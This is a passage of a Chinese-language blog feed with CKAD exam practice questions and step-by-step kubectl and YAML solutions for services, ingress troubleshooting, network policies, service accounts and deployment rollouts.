<span class="attr">kubectl.kubernetes.io/last-applied-configuration:</span> <span class="string">|</span></span><br><span class="line"><span class="string">      &#123;&quot;apiVersion&quot;:&quot;v1&quot;,&quot;kind&quot;:&quot;Service&quot;,&quot;metadata&quot;:&#123;&quot;annotations&quot;:&#123;&#125;,&quot;name&quot;:&quot;nginxsvc&quot;,&quot;namespace&quot;:&quot;default&quot;&#125;,&quot;spec&quot;:&#123;&quot;ports&quot;:[&#123;&quot;port&quot;:80,&quot;protocol&quot;:&quot;TCP&quot;,&quot;targetPort&quot;:80&#125;],&quot;selector&quot;:&#123;&quot;app&quot;:&quot;nginxsvc&quot;&#125;&#125;&#125;</span></span><br><span class="line"><span class="string"></span>  <span class="attr">creationTimestamp:</span> <span class="string">&quot;2023-05-24T13:45:01Z&quot;</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginxsvc</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">&quot;17051&quot;</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">cd4c38bd-e282-414f-a4cb-9fe3a5ccd0c5</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">clusterIP:</span> <span class="number">10.111</span><span class="number">.178</span><span class="number">.212</span></span><br><span class="line">  <span class="attr">clusterIPs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="number">10.111</span><span class="number">.178</span><span class="number">.212</span></span><br><span class="line">  <span class="attr">internalTrafficPolicy:</span> <span class="string">Cluster</span></span><br><span class="line">  <span class="attr">ipFamilies:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">IPv4</span></span><br><span class="line">  <span class="attr">ipFamilyPolicy:</span> <span class="string">SingleStack</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">9090</span> <span class="comment">#修改这里为题目要求</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">80</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginxsvc</span></span><br><span class="line">  <span class="attr">sessionAffinity:</span> <span class="string">None</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br><span class="line"><span class="attr">status:</span></span><br><span class="line">  <span class="attr">loadBalancer:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/395da4783fb2d08d034cbaed8633de3d29d414fc5d889db87dfd64364be61976.jpg" alt="svc-configmap-sidecar-0">  </p><h3 id="2-使用文件创建configmap"><a href="#2-使用文件创建configmap" class="headerlink" title="2. 使用文件创建configmap"></a>2. 使用文件创建configmap</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default create configmap haproxy-config --from-file /ckad/ambassador/haproxy.cfg</span><br></pre></td></tr></table></figure><h3 id="3-更新pod"><a href="#3-更新pod" class="headerlink" title="3. 更新pod"></a>3. 更新pod</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default get pod poller -oyaml &gt; poller.yaml</span><br><span class="line"><span class="built_in">cp</span> poller.yaml !$.bak 或者 <span class="built_in">cp</span> poller.yaml <span class="variable">$_</span>.bak</span><br><span class="line">kubectl delete -f poller.yaml</span><br><span class="line">vim poller.yaml</span><br></pre></td></tr></table></figure><p>添加或者修改 边车容器 和 configMap挂载, 格式可以从上面拷贝, port可以在文件中其他行拷贝,考试时如果存在则需要检查是否正确进行修改,重复添加会报错</p><p><img src="https://images.hao.kim/uploads/2024/12/2ef5f38b761fc321aa617926255dd009ef48002a7ca2c7aa7c3c32e45ad57ddc.jpg" alt="svc-configmap-sidecar-1">  </p><p>应用yaml文件 并检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#应用之前</span></span><br><span class="line">kubectl -n default get svc -owide</span><br><span class="line">curl 10.111.178.212:9090</span><br><span class="line"><span class="comment">#应用之后</span></span><br><span class="line">kubectl apply -f poller.yaml</span><br><span class="line">curl 10.111.178.212:9090</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/38cd57f2a8c2f8dc231a4d0220bee0c4971c271eaf6384a86378fb20fb5541c7.jpg" alt="svc-configmap-sidecar-2">  </p><p>能访问到poller的原因是 svc里面有poller对应的标签</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default get pod --show-labels </span><br><span class="line">kubectl -n default get svc -oyaml | grep -i selector -A3</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/93a7a81b415a0cb426e47efb13ff5246bfd115c37331484aef0bc1549da4cdde.jpg" alt="svc-configmap-sidecar-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 20. Ingress排错 - 2</title>
      <link href="/archives/kubernetes/CKAD/ingress-2.html"/>
      <url>/archives/kubernetes/CKAD/ingress-2.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在namespace <code>ingress-kk</code> 下有一个 ingress ，但是它貌似不能被正常访问 请排除出原因，并修复。</p><blockquote><p>请注意，这道题的deployment 是正确的，请不要修改 deployment 。</p></blockquote><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/service/">https://kubernetes.io/zh-cn/docs/concepts/services-networking/service/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/22372fe5f1ea567de652c4a2fc1dbcf682720e0430236fe0a5f0fcaa48cb3a79.jpg" alt="ingress-2-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ingress-kk get all</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0865a2dbed787fc8962a7c00cd9d76600a111779d95983120b88894c5cced1b9.jpg" alt="ingress-2-1">  </p><p>发现没有svc, svc所需要的东西来自deployment和ingress,</p><p>deployment中找 标签,targetport,</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ingress-kk get deployments.apps nginxdep -oyaml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/4e21da10abfb4776383fc0a4711b76691507d0a868303878ac3629ab1ac132d1.jpg" alt="ingress-2-2">  </p><p>ingress中找svc所需的svc名和port</p><p><img src="https://images.hao.kim/uploads/2024/12/afe62e00c603c8aef301f51016156bad895893edded5b09016cf7af116767a88.jpg" alt="ingress-2-3">  </p><p>创建svc,使用命令吧</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#查看svc,ingress</span></span><br><span class="line"><span class="string">kubectl</span> <span class="string">-n</span> <span class="string">ingress-kk</span> <span class="string">get</span> <span class="string">svc,ingress</span> <span class="string">-owide</span></span><br><span class="line"><span class="string">kubectl</span> <span class="string">-n</span> <span class="string">ingress-kk</span> <span class="string">expose</span> <span class="string">deployment</span> <span class="string">nginxdep</span> <span class="string">--name</span> <span class="string">nginxsvc-kk</span> <span class="string">--port</span> <span class="number">80</span> <span class="string">--target-port</span> <span class="number">80</span> <span class="string">--selector</span> <span class="string">name=nginx-lab</span></span><br><span class="line"><span class="string">curl</span> <span class="number">10.102</span><span class="number">.130</span><span class="number">.182</span></span><br></pre></td></tr></table></figure><p>没有svc之前</p><p><img src="https://images.hao.kim/uploads/2024/12/cf8954d717968ff7db7e1ccf5c2f7f67f8a6bd11058f35c4413662ea4ad8c18c.jpg" alt="ingress-2-4">  </p><p>创建svc后</p><p><img src="https://images.hao.kim/uploads/2024/12/f3f483697515ad6d65b8cdbad785c7f9b359c678b35042699cfb589e2df6f942.jpg" alt="ingress-2-5">  </p><p>也可以使用yaml文件进行创建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">&quot;EOF&quot;</span> | kubectl apply -f -</span><br><span class="line">---</span><br><span class="line">apiVersion: v1</span><br><span class="line">kind: Service</span><br><span class="line">metadata:</span><br><span class="line">  name: nginxsvc-kk</span><br><span class="line">  namespace: ingress-kk</span><br><span class="line">spec:</span><br><span class="line">  ports:</span><br><span class="line">  - port: 80</span><br><span class="line">    protocol: TCP</span><br><span class="line">    targetPort: 80</span><br><span class="line">  selector:</span><br><span class="line">    name: nginx-lab</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 19. Ingress排错 - 1</title>
      <link href="/archives/kubernetes/CKAD/ingress-1.html"/>
      <url>/archives/kubernetes/CKAD/ingress-1.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在 namespace <code>ingress-ckad</code> 下，有 deployment service ingress 三个资源已经部署好了, 但是他们的配置有问题，导致的ingress 网络不通。 3个资源的配置清单在目录 <code>/ckad/CKAD202206</code> 中 ，请将其修改为正确的，并重新创建。</p><blockquote><p>请注意，这道题的deployment 是正确的，请不要修改 deployment</p></blockquote><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/">https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/</a></p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看已有的svc并访问</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ingress-ckad get pod,svc,ingress -owide</span><br><span class="line">curl 10.106.76.153</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cf7599847d25d5f84e977997db501e7654dd5771f525a2632c0bcdba06def58e.jpg" alt="ingress-1-0">  </p><p>查看配置 并进行修改</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /ckad/CKAD202206/ingress.yaml</span><br></pre></td></tr></table></figure><p>ingress.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-dm</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-ckad</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">nginx-ing</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">nginx-ing</span> <span class="comment">#标签</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">vicuu/nginx:hello81</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">81</span> <span class="comment">#容器端口</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-ing-svc</span> <span class="comment">#服务名</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-ckad</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">80</span> <span class="comment">#和ingress的端口一致</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">81</span> <span class="comment">#这个端口需要和deployment的containerPort值一致</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">nginx-ing</span> <span class="comment">#修改标签 和deployment的一致</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Ingress</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-ingress-test</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-ckad</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/rewrite-target:</span> <span class="string">/</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ingressClassName:</span> <span class="string">nginx-example123</span></span><br><span class="line">  <span class="attr">rules:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">http:</span></span><br><span class="line">      <span class="attr">paths:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">path:</span> <span class="string">/hello</span></span><br><span class="line">        <span class="attr">pathType:</span> <span class="string">Prefix</span></span><br><span class="line">        <span class="attr">backend:</span></span><br><span class="line">          <span class="attr">service:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">nginx-ing-svc</span> <span class="comment">#需要和service的服务名一致</span></span><br><span class="line">            <span class="attr">port:</span></span><br><span class="line">              <span class="attr">number:</span> <span class="number">80</span> <span class="comment"># 需要和service的port的值一致</span></span><br></pre></td></tr></table></figure><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /ckad/CKAD202206/ingress.yaml</span><br></pre></td></tr></table></figure><p>查看并测试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /ckad/CKAD202206/ingress.yaml</span><br><span class="line">curl 10.106.76.153</span><br><span class="line">curl 10.102.130.182/hello</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/467bd69e9c72a18d310053f6e7cbe543ed29843b4d9724f5a1db31f2c2f8cbb0.jpg" alt="ingress-1-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 18. NetworkPolicy 网络策略</title>
      <link href="/archives/kubernetes/CKAD/NetworkPolicy.html"/>
      <url>/archives/kubernetes/CKAD/NetworkPolicy.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>更新在namespace <code>ckad00018</code> 中的 Pod <code>ckad00018-newpod</code> 使其使用一个只允许此 Pod 与 Pod <code>front</code> 和 <code>db</code> 之间收发流量的 Networkpolicy 。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/">https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/1cac1f306965bd080a3693814a03aa16b78d8776f868bca57786f1c4cda9db93.jpg" alt="NetworkPolicy-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看pod 和networkpolicy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00018 get pod --show-labels</span><br><span class="line">kubectl -n ckad00018 get networkpolicies --show-labels</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0e1f0b91eafb76e8b3adfd764ef4c31d379581f9fbbb0d812e75400a3f286e49.jpg" alt="NetworkPolicy-1">  </p><p>查看networkpolicy 的 podselector</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00018 get networkpolicies access-db -oyaml | grep -i -A3 podselector</span><br><span class="line">kubectl -n ckad00018 get networkpolicies access-front -oyaml | grep -i -A3 podselector</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9f0428f7529762475dcf8089b4270635c2ca820d8c02e95a465de9d4ba138401.jpg" alt="NetworkPolicy-2">  </p><p>通过查看所有networkpolicy 得知， front和 db 各有一个 networkpolicy ckad00018-newpod 没networkpolicy 所以查看front 和 db 的 networkpolicy 标签 把可以跟他们互通的标签 ，设置 给 ckad00018-newpod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00018 label pod  ckad00018-newpod front-access=<span class="literal">true</span> db-access=<span class="literal">true</span></span><br><span class="line">kubectl -n ckad00018 get pod --show-labels</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f7acfbd10b8d7750a8d685ae299d8e8f337ab4c39c08171f8a80bab1002b933e.jpg" alt="NetworkPolicy-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 17. 更新 Deployment 并暴露 Service</title>
      <link href="/archives/kubernetes/CKAD/Service.html"/>
      <url>/archives/kubernetes/CKAD/Service.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>首先 更新在 namespace <code>ckad00017</code> 中的 Deployment <code>ckad00017-deployment</code> :<ul><li>以使其运行 <code>5</code> 个 Pod 的副本</li><li>将以下标签添加到 Pod tier: dmz</li></ul></li><li>然后 在 namespace <code>ckad00017</code> 中创建一个名为 <code>rover</code> 的 <code>NodePort</code> Service 以在 TCP 端口 <code>81</code> 上公开 Deployment <code>ckad00017-deployment</code></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -h</span><br><span class="line">kubectl expose -h</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>任务1: 可以使用edit编辑 或者 导出配置文件删除deployment编辑后重建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00017 edit deployments.apps ckad00017-deployment</span><br></pre></td></tr></table></figure><p>如果出错使用编辑配置文件的方式进行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00017 get deployments.apps -oyaml &gt; 17.yaml</span><br><span class="line">kubectl delete -f 17.yaml</span><br><span class="line">vim 17.yaml</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f 17.yaml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5f418327e86555ab1e926626f5dac2cdc4ec7fee6f397f02edb8c3290cf1f0f7.jpg" alt="Service-0">  </p><p>查看副本数量和标签</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00017 get pod --show-labels</span><br></pre></td></tr></table></figure><p>任务2:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#查看端口</span></span><br><span class="line">kubectl -n ckad00017 get deployments.apps ckad00017-deployment -oyaml| grep -i port -A3</span><br><span class="line"><span class="comment">#expose 暴露端口, port为service的端口, target-port为容器端口, 默认为80,以检查为准</span></span><br><span class="line">kubectl -n ckad00017 expose deployment ckad00017-deployment --name rover --protocol TCP --port 81 --target-port 81 --<span class="built_in">type</span> NodePort</span><br><span class="line"><span class="comment">#查看</span></span><br><span class="line">kubectl -n ckad00017 get svc</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b2d8aabd8021754b4b76998ddc5f1ec42f2db80e16041b8d3d5d14a8231b0840.jpg" alt="Service-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 16. Deployment 使用 ServiceAcount</title>
      <link href="/archives/kubernetes/CKAD/ServiceAccount.html"/>
      <url>/archives/kubernetes/CKAD/ServiceAccount.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>更新在 namespace <code>frontend</code> 中的 Deployment 使其使用现有的 ServiceAccount <code>app</code></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl --<span class="built_in">help</span></span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>方法1: 直接通过命令设置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n frontend get deployments.apps</span><br><span class="line">kubectl -n frontend <span class="built_in">set</span> serviceaccount deployments frontend-deployment app</span><br><span class="line">kubectl -n frontend describe deployments.apps frontend-deployment</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/610fa89d8e67f6be82950a52d486781972db0a63ec976f8cdac6ee0f6ae5477d.jpg" alt="ServiceAccount-0">  </p><p>方法2: 编辑现有deployment</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n frontend edit deployments.apps frontend-deployment</span><br></pre></td></tr></table></figure><p>spec.template.spec下添加</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">serviceAccount:</span> <span class="string">app</span></span><br><span class="line"><span class="attr">serviceAccountName:</span> <span class="string">app</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/74002d9970954592158b423113c00f01614a3f484b613a5c8f039ceb4540d496.jpg" alt="ServiceAccount-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>KAD 模拟题库 | 15. 升级与回滚</title>
      <link href="/archives/kubernetes/CKAD/rollout.html"/>
      <url>/archives/kubernetes/CKAD/rollout.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>更新 namespace <code>ckad00015</code> 中的 Deployment <code>webapp</code> 的比例缩放配置 将 <code>maxSurge</code> 设置为 <code>10%</code> ，将 <code>maxUnavailable</code> 设置为 <code>4</code></li><li>更新 Deployment <code>webapp</code> 以让容器镜像 <code>lfccncf/nginx</code> 使用版本标签 <code>1.13.7</code></li><li>将 Deployment <code>webapp</code> 回滚至 <code>前一版本</code></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/</a></p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>修改deployment 滚动升级策略</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00015 edit deployments.apps webapp</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/96bfe021d05c6badafed1c6c0462703064f463ffacb1256fe7432e2dda7002ec.jpg" alt="rollout-0">  </p><p>修改image版本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#查看当前镜像名和版本</span></span><br><span class="line">kubectl -n ckad00015 get deployments.apps webapp -oyaml | grep image -A3 -B3</span><br><span class="line"></span><br><span class="line"><span class="comment">#修改镜像版本,加record方便后面查看</span></span><br><span class="line">kubectl -n ckad00015 <span class="built_in">set</span> image deployment webapp nginx=lfccncf/nginx:1.13.7 --record</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7992413a4a14bcc609c30279de775e2e9305200b75e24a7323105d95969c45c2.jpg" alt="rollout-1">  </p><p>查看历史</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00015 rollout <span class="built_in">history</span> deployment webapp</span><br></pre></td></tr></table></figure><p>回滚</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00015 rollout undo deployment webapp</span><br><span class="line"><span class="comment">#或者指定版本</span></span><br><span class="line">kubectl -n ckad00015 rollout undo deployment webapp --to-revision 1</span><br></pre></td></tr></table></figure><p>检查回滚后的镜像版本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n ckad00015 get deployments.apps webapp -oyaml | grep image</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/16bb1ceec880f2850e771ac6768d7ab5d949acf8ab23be8edc8dbcb63a54238e.jpg" alt="rollout-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 14. Pod 健康检查 readinessProbe</title>
      <link href="/archives/kubernetes/CKAD/readinessProbe.html"/>
      <url>/archives/kubernetes/CKAD/readinessProbe.html</url>
      
